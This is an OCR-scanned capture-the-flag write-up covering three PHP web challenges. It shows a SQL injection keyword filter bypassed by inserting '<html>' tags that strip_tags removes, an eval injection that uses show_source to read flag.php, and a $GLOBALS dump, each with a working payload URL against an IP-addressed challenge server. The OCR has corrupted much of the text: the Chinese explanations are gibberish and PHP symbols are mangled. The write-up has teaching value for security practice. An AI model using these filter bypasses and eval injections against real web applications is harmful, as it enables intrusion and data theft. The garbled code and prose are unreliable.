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LA aER—ERAE:
//idiEsql

$array = array( 'table’,'union’,'and’,'or’, 'load_file’, 'create’, 'delete’, 'select’, 'update”, 'sleep’, 'alter’, "drop’, "truncate’, 'from®

foreach ($array as fwvalue)

{
if (substr_count(§id, fvalue) > @)
{
exit("BESBEXEE! " .svalue);
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$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
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payload: http://103.238.227.13:10087/?id=1 uni<html>on s<html>elect id,hash fr<html>om sql3.key%23
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include “flag php”;
$a = @ _FEQUEST[ hellc']:
evall “war_dump($al;*):
show source(_ FILE )

T

flag7E flag.php™i X N3/ B, REZXAFEEAag.phpHI N E B s HREIT T
eval#AT B ARG, T HRE K

FRE NS Hhello=show_source(DIR.’flag.php”)

payload: http://120.24.86.145:8003/?hello=show_source(__ _DIR__ .%22/flag.php%22)
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<Iphp
$flag = "Too Yourng Too Simple’ ;
# echo $flag:
# flag bug—ctf-gz-99};
2» bool(true) <?php
include  “flag. php;
fa = @} _REQUEST[ hellc' 1.
eval( Twar dump(§a);*) .
show_source (__FILE )
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flag In the variable ! <7php

error_reporting (0);
include  “flagl.php™;
highlight file(_ file_ J:
if{iz=et ($ GET[ arzs" 1001
fargs = $ GET[ args’]:
if{lpreg match("/ “ukhd ", farga) ) |
die("args error! ")
1

eval (“var_dump($fargs) ;") ;

Fflag inthe variable )i, BHEREETET

X BiEdphpTiE X Z B K Eflagl.phpH I EE

1 N2 $args=GLOBALS

payload: http://120.24.86.145:8004/index1.php?args=GLOBALS
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flag In the variable ! <pup

error_reporting (0);
include  “flagl.php”:
highlight filef file_ J:
if{izzet(§ GET[ args" 1)1
fargz = $_GET[ argzs"]1:
if {lpreg match(”/ ", fargs) )
die(“argz error! )
1

eval ("var_dump ($arezs) ;")
H
P

array(7) { ["GLOBALS"]=> *RECURSION* [*_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" }
[' COOKIE"]=> array(1) { ["PHPSESSID"]=> string(32) "5j4h8875065rer3andd640f1621kk81a" } [*_FILES"]=> array(0) { }
['ZFkwe3']=> string(38) "flag{92853051ab894a64{7865cf3¢c2128b34)" ["args"]=> string(7) "GLOBALS" }
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